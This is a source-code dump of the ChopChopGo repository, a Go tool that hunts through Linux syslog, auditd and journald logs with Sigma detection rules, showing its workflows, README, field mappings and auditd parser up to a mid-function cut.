Repository: M00NLIG7/ChopChopGo Branch: master Commit: e91de9a07c18 Files: 30 Total size: 135.9 KB Directory structure: gitextract_sc9sdfle/ ├── .github/ │ └── workflows/ │ ├── ci.yml │ └── release.yml ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── TODO.md ├── go.mod ├── go.sum ├── main.go ├── mappings/ │ ├── auditd.yml │ ├── journald.yml │ └── syslog.yml ├── maps/ │ ├── auditd/ │ │ ├── auditd.go │ │ └── auditd_test.go │ ├── journald/ │ │ ├── journald.go │ │ ├── journald_test.go │ │ └── stub.go │ ├── mapping/ │ │ ├── mapping.go │ │ └── mapping_test.go │ ├── output/ │ │ ├── output.go │ │ └── output_test.go │ └── syslog/ │ ├── syslog.go │ └── syslog_test.go ├── scripts/ │ ├── generate_test_logs.sh │ └── genlog/ │ └── main.go ├── testdata/ │ ├── auditd.log │ ├── rsyslog.log │ └── syslog.log └── update-rules.sh ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/workflows/ci.yml ================================================ name: CI on: push: branches: [master] pull_request: branches: [master] jobs: test: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v4 - name: Set up Go uses: actions/setup-go@v5 with: go-version-file: go.mod - name: Install libsystemd-dev run: sudo apt-get update && sudo apt-get install -y libsystemd-dev - name: Vet run: go vet ./... - name: Test run: go test ./... ================================================ FILE: .github/workflows/release.yml ================================================ name: Release on: push: tags: - 'v*' jobs: build: runs-on: ubuntu-latest permissions: contents: write strategy: matrix: include: - arch: amd64 goarch: amd64 - arch: arm64 goarch: arm64 steps: - name: Checkout uses: actions/checkout@v4 - name: Set up Go uses: actions/setup-go@v5 with: go-version-file: go.mod - name: Install libsystemd-dev run: sudo apt-get update && sudo apt-get install -y libsystemd-dev gcc-aarch64-linux-gnu - name: Build env: GOARCH: ${{ matrix.goarch }} CC: ${{ matrix.goarch == 'arm64' && 'aarch64-linux-gnu-gcc' || 'gcc' }} CGO_ENABLED: 1 run: go build -o ChopChopGo . - name: Fetch Sigma rules run: | git clone --depth=1 https://github.com/SigmaHQ/sigma.git rm -rf rules/ mkdir rules/ mv sigma/rules/linux/ rules/ rm -rf sigma/ - name: Create release archive run: | TAG=${GITHUB_REF_NAME} zip -r "ChopChopGo-${TAG}-linux-${{ matrix.arch }}.zip" ChopChopGo rules/ mappings/ README.md update-rules.sh - name: Upload to release env: GH_TOKEN: ${{ github.token }} run: | TAG=${GITHUB_REF_NAME} # Create the release if it doesn't already exist (e.g. manually pre-created), # then upload the artifact. --clobber replaces any existing asset with the same name. gh release create "${TAG}" --title "${TAG}" --generate-notes 2>/dev/null || true gh release upload "${TAG}" "ChopChopGo-${TAG}-linux-${{ matrix.arch }}.zip" --clobber ================================================ FILE: .gitignore ================================================ # Sigma rules (fetched via update-rules.sh, not tracked in repo) rules/ # Build output ChopChopGo ChopChopGo.exe scripts/genlog/genlog # Go toolchain vendor/ # Test and profiling artifacts *.test coverage.out *.prof *.out # Generated test logs (transient, regenerate with scripts/genlog) testdata/generated_*.log # macOS .DS_Store # Editor .vscode/ .idea/ *.swp *.swo ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. 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IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Makefile ================================================ all: init generate init: @echo "Making ChopChopGo..." #add special compiler options beyond -w later, #maybe use a packer or some sort. generate: go build -ldflags "-w" . clean: @echo "done." update-rules: ./update-rules.sh windows: GOOS=windows GOARCH=amd64 go build -ldflags "-w" . ================================================ FILE: README.md ================================================ [![go report card](https://goreportcard.com/badge/github.com/M00NLIG7/ChopChopGo)](https://goreportcard.com/report/github.com/M00NLIG7/ChopChopGo)

Rapidly Search and Hunt through Linux Forensics Artifacts

--- ChopChopGo inspired by Chainsaw utilizes Sigma rules for forensics artifact recovery, enabling rapid and comprehensive analysis of logs and other artifacts to identify potential security incidents and threats on Linux. ## Features - :dart: Hunt for threats using [Sigma](https://github.com/SigmaHQ/sigma) detection rules and custom ChopChopGo detection rules - :zap: Lightning fast, written in go - :feather: Clean and lightweight execution and output formats without unnecessary bloat - :computer: Runs on Linux --- ``` $ ./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/ ▄████▄ ██░ ██ ▒█████ ██▓███ ▄████▄ ██░ ██ ▒█████ ██▓███ ▄████ ▒█████ ▒██▀ ▀█ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒ ▒██▀ ▀█ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒ ██▒ ▀█▒▒██▒ ██▒ ▒▓█ ▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒ ▒▓█ ▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒ ▒██░▄▄▄░▒██░ ██▒ ▒▓▓▄ ▄██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒ ▒▓▓▄ ▄██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒ ░▓█ ██▓▒██ ██░ ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░ ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░ ░▒▓███▀▒░ ████▓▒░ ░ ░▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░ ░ ░▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░ ░▒ ▒ ░ ▒░▒░▒░ ░ ▒ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░ ░ ░ ░ ▒ ▒░ ░ ░ ░░ ░░ ░ ░ ▒ ░░ ░ ░ ░░ ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ By Keyboard Cowboys (M00NL1G7) Using syslog file: /var/log/messages 100% |██████████████████████████████████████████████████████████████████████████████████████████████| (67504/67504, 27840 it/s) +-----------------+--------------------------------+-----------------------------------------+ | TIMESTAMP | MESSAGE | TAGS | +-----------------+--------------------------------+-----------------------------------------+ | Mar 2 20:04:38 | fedora systemd[1]: | attack.defense_evasion-attack.t1562.004 | | | iptables.service: Deactivated | | | | successfully. | | | Mar 4 10:19:03 | DESKTOP-RNL1DBO systemd[1]: | attack.defense_evasion-attack.t1562.004 | | | iptables.service: Deactivated | | | | successfully. | | +-----------------+--------------------------------+-----------------------------------------+ Processed 67504 syslog events ``` ## Quick Start Guide ### Downloading and Running For an all-in-one zip container the ChopChopGo binary, and the official sigma rules to go with it, check out the [releases section](https://github.com/M00NLIG7/ChopChopGo/releases) In this releases section you will also find pre-compiled binary-only versions of ChopChopGo. If you want to compile ChopChopGo yourself, you can clone the ChopChopGo repo: `git clone https://github.com/M00NLIG7/ChopChopGo.git` and compile the code yourself by running: `go build`. You might need to install the development files for systemd (e. g. `apt-get install libsystemd-dev`) #### Command Examples ```bash # Defaults to searching through syslog ./ChopChopGo # Scan an auditd log with the official sigma rules ./ChopChopGo -target auditd -rules ./rules/linux/auditd/ -file /opt/evidence/auditd.log # Scan journald with specified rules ./ChopChopGo -target journald -rules ./rules/linux/builtin/ # Use a custom field-mapping file ./ChopChopGo -target auditd -rules ./rules/linux/auditd/ -mapping ./my-mappings/auditd.yml ``` #### Alternative Output Formats You may wish to use ChopChopGo in an automated fashion. The CSV and JSON output options are useful for this purpose. With both of these options, the header and progress statistics are not printed to the console. The alternative output format is written to stdout - you can process it from there (e. g. write it to a file for later use). Each option can be specified using the `-out` parameter. ##### CSV ```bash ./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/ -out csv ``` ##### JSON ```bash ./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/ -out json ``` ### Field Mapping ChopChopGo translates Sigma rule field names to log-native field names via YAML mapping files in `mappings/`: ``` mappings/ auditd.yml # CommandLine→exe, Image→exe, ProcessId→pid, User→auid … syslog.yml # Message→message, Hostname→facility … journald.yml # Message→message, Timestamp→timestamp … ``` These are loaded automatically based on the `-target`. If a mapping file is absent the tool falls back to pass-through (field names used verbatim), so existing behaviour is unchanged. To supply your own mapping file — for example to run community rules written for a different schema — use the `-mapping` flag: ```bash ./ChopChopGo -target auditd -rules ./rules/ -mapping ./mappings/custom-auditd.yml ``` A mapping file looks like this: ```yaml source: auditd fields: CommandLine: exe # Sigma field → auditd native field Image: exe ProcessId: pid User: auid ``` ### Updating Sigma Rules The repository includes a simple script to update the included sigma rules to the newest state from the [Sigma Rules repo](https://github.com/SigmaHQ/sigma/). ```bash ./update-rules.sh ``` ================================================ FILE: TODO.md ================================================ # TODO Author: M00NLIG7 --- No open items. ================================================ FILE: go.mod ================================================ module github.com/M00NLIG7/ChopChopGo go 1.18 require ( github.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3 github.com/coreos/go-systemd/v22 v22.5.0 github.com/olekukonko/tablewriter v0.0.5 github.com/schollz/progressbar/v3 v3.13.0 ) require ( github.com/gobwas/glob v0.2.3 // indirect github.com/mattn/go-runewidth v0.0.14 // indirect github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect github.com/rivo/uniseg v0.4.3 // indirect github.com/stretchr/testify v1.6.1 // indirect golang.org/x/sys v0.4.0 // indirect golang.org/x/term v0.4.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ================================================ FILE: go.sum ================================================ github.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3 h1:WEwycC1Fc+gv+t5T+YJvdJbm64R+Z2q1uG1/9jbN4Sw= github.com/M00NLIG7/go-sigma-rule-engine v0.0.0-20230307200103-5335d57313e3/go.mod h1:PHmeNNl0isjwjCxH8blwcXj6gCZ2/3vDAOW21K3yspQ= github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs= github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/markuskont/datamodels v0.0.1 h1:Pibmdtfp4hTypvmFmmCPIkSPxUZ6rpi/myd8U9F/5y4= github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.4.3 h1:utMvzDsuh3suAEnhH0RdHmoPbU648o6CvXxTx4SBMOw= github.com/rivo/uniseg v0.4.3/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/schollz/progressbar/v3 v3.13.0 h1:9TeeWRcjW2qd05I8Kf9knPkW4vLM/hYoa6z9ABvxje8= github.com/schollz/progressbar/v3 v3.13.0/go.mod h1:ZBYnSuLAX2LU8P8UiKN/KgF2DY58AJC8yfVYLPC8Ly4= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18= golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.4.0 h1:O7UWfv5+A2qiuulQk30kVinPoMtoIPeVaKLEgLpVkvg= golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ================================================ FILE: main.go ================================================ package main import ( "flag" "fmt" "log" "os" "os/user" "github.com/M00NLIG7/ChopChopGo/maps/auditd" "github.com/M00NLIG7/ChopChopGo/maps/journald" "github.com/M00NLIG7/ChopChopGo/maps/syslog" ) func isRoot() bool { currentUser, err := user.Current() if err != nil { log.Fatalf("[isRoot] Unable to get current user: %s", err) } return currentUser.Username == "root" } func main() { if !isRoot() { // depending on the file access permissions, we might not need root rights // especially when targeting logs collected from other systems, we might encounter more lax permissions on the files fmt.Fprintln(os.Stderr, "Warning: not running as superuser - some accesses might fail!") } var target string var path string var outputType string var file string var mappingPath string flag.StringVar(&target, "target", "syslog", "what type of data is to be scanned (auditd, journald, syslog)") flag.StringVar(&path, "rules", "rules/linux/builtin/syslog", "where to pull the yaml rules you're applying") flag.StringVar(&outputType, "out", "", "what type of output you want (csv, json, or leave empty for table)") flag.StringVar(&file, "file", "", "which specific file should be scanned (falls back to target-specific defaults when left empty)") flag.StringVar(&mappingPath, "mapping", "", "path to a custom field-mapping YAML file (overrides the built-in mappings/.yml)") flag.Parse() if outputType != "csv" && outputType != "json" { banner := ` ▄████▄ ██░ ██ ▒█████ ██▓███ ▄████▄ ██░ ██ ▒█████ ██▓███ ▄████ ▒█████ ▒██▀ ▀█ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒ ▒██▀ ▀█ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒ ██▒ ▀█▒▒██▒ ██▒ ▒▓█ ▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒ ▒▓█ ▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒ ▒██░▄▄▄░▒██░ ██▒ ▒▓▓▄ ▄██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒ ▒▓▓▄ ▄██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒ ░▓█ ██▓▒██ ██░ ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░ ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░ ░▒▓███▀▒░ ████▓▒░ ░ ░▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░ ░ ░▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░ ░▒ ▒ ░ ▒░▒░▒░ ░ ▒ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░ ░ ░ ░ ▒ ▒░ ░ ░ ░░ ░░ ░ ░ ▒ ░░ ░ ░ ░░ ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ By Keyboard Cowboys (M00NL1G7) ` fmt.Println(banner) } switch target { case "auditd": auditd.ChopToLog(path, outputType, file, mappingPath) case "syslog": syslog.ChopToLog(path, outputType, file, mappingPath) case "journald": if file != "" { fmt.Fprintln(os.Stderr, "Error: the journald target does not support -file; journald uses a binary format accessible only via the systemd API.") os.Exit(1) } journald.ChopToLog(path, outputType, mappingPath) default: fmt.Fprintf(os.Stderr, "Error: unknown target %q (must be auditd, journald, or syslog)\n", target) os.Exit(1) } } ================================================ FILE: mappings/auditd.yml ================================================ # Field mapping for auditd log sources. # Left side: Sigma rule field name. # Right side: auditd native field name as it appears in the log. source: auditd fields: # Process CommandLine: exe Image: exe ProcessId: pid ParentProcessId: ppid ParentImage: comm # Identity User: auid LogonId: ses # Event metadata EventType: type AuditKey: key # EXECVE arguments — sigma rules for auditd commonly reference these directly # but map them here for rules written with generic names a0: a0 a1: a1 a2: a2 a3: a3 # PATH record TargetFilename: name ================================================ FILE: mappings/journald.yml ================================================ # Field mapping for systemd journal log sources. # Left side: Sigma rule field name. # Right side: journald native field name as exposed by the JournaldEvent struct. source: journald fields: Message: message Timestamp: timestamp ================================================ FILE: mappings/syslog.yml ================================================ # Field mapping for syslog log sources (including auth.log, kern.log, etc.) # Left side: Sigma rule field name. # Right side: syslog native field name as exposed by the SyslogEvent struct. source: syslog fields: # Message body — most syslog Sigma rules match on this Message: message # Hostname is stored in the Facility field (closest available without ) Hostname: facility Computer: facility ================================================ FILE: maps/auditd/auditd.go ================================================ package auditd import ( "bufio" "fmt" "log" "os" "strconv" "strings" "time" sigma "github.com/M00NLIG7/go-sigma-rule-engine" "github.com/M00NLIG7/ChopChopGo/maps/mapping" "github.com/M00NLIG7/ChopChopGo/maps/output" "github.com/schollz/progressbar/v3" ) // AuditEvent represents a single record from the auditd log. type AuditEvent struct { Type string Data map[string]string } // Keywords satisfies the sigma.Event interface. func (e AuditEvent) Keywords() ([]string, bool) { keywords := []string{e.Type} for k := range e.Data { keywords = append(keywords, k) } return keywords, true } // Select satisfies the sigma.Event interface. func (e AuditEvent) Select(name string) (interface{}, bool) { if name == "type" { return e.Type, true } if value, ok := e.Data[name]; ok { return value, true } return nil, false } // MappedAuditEvent wraps an AuditEvent with a field-name mapping so that // Sigma rules written with non-native field names (e.g. CommandLine → exe) // are resolved transparently before Select is called. type MappedAuditEvent struct { AuditEvent m *mapping.Mapping } func (e MappedAuditEvent) Keywords() ([]string, bool) { return e.AuditEvent.Keywords() } func (e MappedAuditEvent) Select(name string) (interface{}, bool) { return e.AuditEvent.Select(e.m.Resolve(name)) } // extractAuditToken finds the audit(UNIXTS.mmm:SEQ) token in line and returns // the sequence number and a formatted RFC3339 timestamp. Returns ("", "") when // no valid token is present. This replaces the msgRe regex, eliminating the // []string submatch allocation on every line. func extractAuditToken(line string) (seq, ts string) { idx := strings.Index(line, "audit(") if idx < 0 { return "", "" } s := line[idx+6:] // skip "audit(" dot := strings.IndexByte(s, '.') if dot < 0 { return "", "" } unixStr := s[:dot] s = s[dot+1:] colon := strings.IndexByte(s, ':') if colon < 0 { return "", "" } s = s[colon+1:] end := strings.IndexByte(s, ')') if end < 0 { return "", "" } seq = s[:end] unixTime, err := strconv.ParseInt(unixStr, 10, 64) if err != nil { return seq, "" } return seq, time.Unix(unixTime, 0).UTC().Format(time.RFC3339) } // mergeLineInto parses line with the character-walking tokenizer and writes // each key=value pair into dest using first-wins semantics — keys already // present in dest are not overwritten. The pre-extracted ts and seq are written // before scanning so that SYSCALL fields always win over later record types. // The msg=audit(...) token is skipped since extractAuditToken already handled it. func mergeLineInto(line string, dest map[string]string, ts, seq string) { if ts != "" { if _, ok := dest["timestamp"]; !ok { dest["timestamp"] = ts } } if seq != "" { if _, ok := dest["seq"]; !ok { dest["seq"] = seq } } i, n := 0, len(line) for i < n { for i < n && line[i] == ' ' { i++ } if i >= n { break } keyStart := i for i < n && line[i] != '=' && line[i] != ' ' { i++ } if i >= n || line[i] != '=' { for i < n && line[i] != ' ' { i++ } continue } key := line[keyStart:i] i++ // consume '=' var value string if i < n && line[i] == '"' { i++ start := i for i < n && line[i] != '"' { i++ } value = line[start:i] if i < n { i++ } } else if i < n && line[i] == '\'' { i++ start := i for i < n && line[i] != '\'' { i++ } value = line[start:i] if i < n { i++ } } else { start := i for i < n && line[i] != ' ' { i++ } value = line[start:i] } // Skip the msg=audit(...) token — handled by extractAuditToken. if key == "msg" && len(value) > 6 && value[:6] == "audit(" { continue } if _, exists := dest[key]; !exists { dest[key] = value } } } // parseLine tokenizes a single auditd log line into a key-value map. // The hot path in ParseEvents calls extractAuditToken + mergeLineInto directly // to avoid allocating an intermediate map; parseLine is retained for tests. func parseLine(line string) map[string]string { dest := make(map[string]string, 16) seq, ts := extractAuditToken(line) mergeLineInto(line, dest, ts, seq) return dest } // windowSize is the maximum number of distinct sequence numbers held in memory // at once. auditd records for a single event are always written consecutively // (typically 4–6 records), so 32 is a generous safety margin. Peak memory // usage is O(windowSize × fields) regardless of log size. const windowSize = 32 // ParseEvents reads an auditd log file, correlates multi-record events by their // sequence number, and returns one merged AuditEvent per logical event. // // auditd writes several record types (SYSCALL, EXECVE, CWD, PATH, …) for a // single kernel event, all sharing the same msg=audit(ts:seq) sequence number. // Merging them gives Sigma rules a complete field set — exe, auid, name, cwd — // in a single event, eliminating blank columns and duplicate rule hits. // // Field precedence within a group: first record wins. SYSCALL is always // written before EXECVE/CWD/PATH so SYSCALL fields (exe, auid, pid) take // priority over the same-named fields on later record types. // // Streaming sliding-window: at most windowSize groups are kept in memory at // once. When the window is full and a new sequence number arrives, the oldest // group is flushed immediately. This reduces peak memory from O(total records) // to O(windowSize × fields), making multi-GB log scanning practical. func ParseEvents(logFile string) ([]AuditEvent, error) { file, err := os.Open(logFile) if err != nil { return nil, err } defer file.Close() var events []AuditEvent standalone := 0 // window is a fixed-capacity queue of seq strings in insertion order. // We keep it at most windowSize long; copy+reslice keeps the backing // array capped at windowSize+1 so memory stays O(windowSize). window := make([]string, 0, windowSize+1) // groups maps seq → merged field map; only window entries are present. groups := make(map[string]map[string]string, windowSize) // soloKey is a stack-allocated scratch buffer for formatting __solo_N keys, // avoiding the interface boxing that fmt.Sprintf would cause. var soloKey [32]byte scanner := bufio.NewScanner(file) for scanner.Scan() { line := scanner.Text() if !strings.HasPrefix(line, "type=") { continue } // Extract seq and timestamp without allocating an intermediate map. seq, ts := extractAuditToken(line) if seq == "" { // Record has no parseable sequence — treat as its own event. b := append(soloKey[:0], "__solo_"...) b = strconv.AppendInt(b, int64(standalone), 10) seq = string(b) standalone++ } if _, exists := groups[seq]; !exists { // New seq: evict oldest group if the window is full. if len(window) >= windowSize { oldest := window[0] copy(window, window[1:]) window = window[:len(window)-1] g := groups[oldest] delete(groups, oldest) events = append(events, AuditEvent{Type: g["type"], Data: g}) } window = append(window, seq) groups[seq] = make(map[string]string, 16) } // Merge directly into the group map — no intermediate map allocated. mergeLineInto(line, groups[seq], ts, seq) } if err := scanner.Err(); err != nil { return nil, err } // Flush all remaining groups in insertion order. for _, seq := range window { g := groups[seq] events = append(events, AuditEvent{Type: g["type"], Data: g}) } return events, nil } // FindLog returns filePath when non-empty, otherwise reads /etc/audit/auditd.conf // to locate the active log file. func FindLog(file string) (string, error) { if file != "" { if _, err := os.Stat(file); err != nil { return "", fmt.Errorf("failed to find provided file %v", file) } return file, nil } f, err := os.Open("/etc/audit/auditd.conf") if err != nil { return "", fmt.Errorf("failed to open auditd.conf: %v", err) } defer f.Close() scanner := bufio.NewScanner(f) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if strings.HasPrefix(line, "log_file") { parts := strings.SplitN(line, "=", 2) if len(parts) == 2 { return strings.TrimSpace(parts[1]), nil } } } return "", fmt.Errorf("log_file option not found in auditd.conf") } var auditdRenderer = output.Renderer{ Headers: []string{"Timestamp", "User", "Exe", "Terminal", "PID", "Tags", "Author"}, Row: func(r output.ScanResult) []string { return []string{ r.Timestamp, r.User, r.Exe, r.Terminal, r.PID, output.TagString(r.Tags), r.Author, } }, } func toScanResult(event AuditEvent, res sigma.Results) output.ScanResult { return output.ScanResult{ Timestamp: event.Data["timestamp"], // auditd logs use lowercase "auid", not "AUID" User: event.Data["auid"], Exe: event.Data["exe"], Terminal: event.Data["terminal"], PID: event.Data["pid"], Tags: res[0].Tags, Author: res[0].Author, RuleID: res[0].ID, Title: res[0].Title, } } // Chop scans the auditd log against Sigma rules and writes results to stdout. // mappingPath overrides the default mappings/auditd.yml when non-empty. func 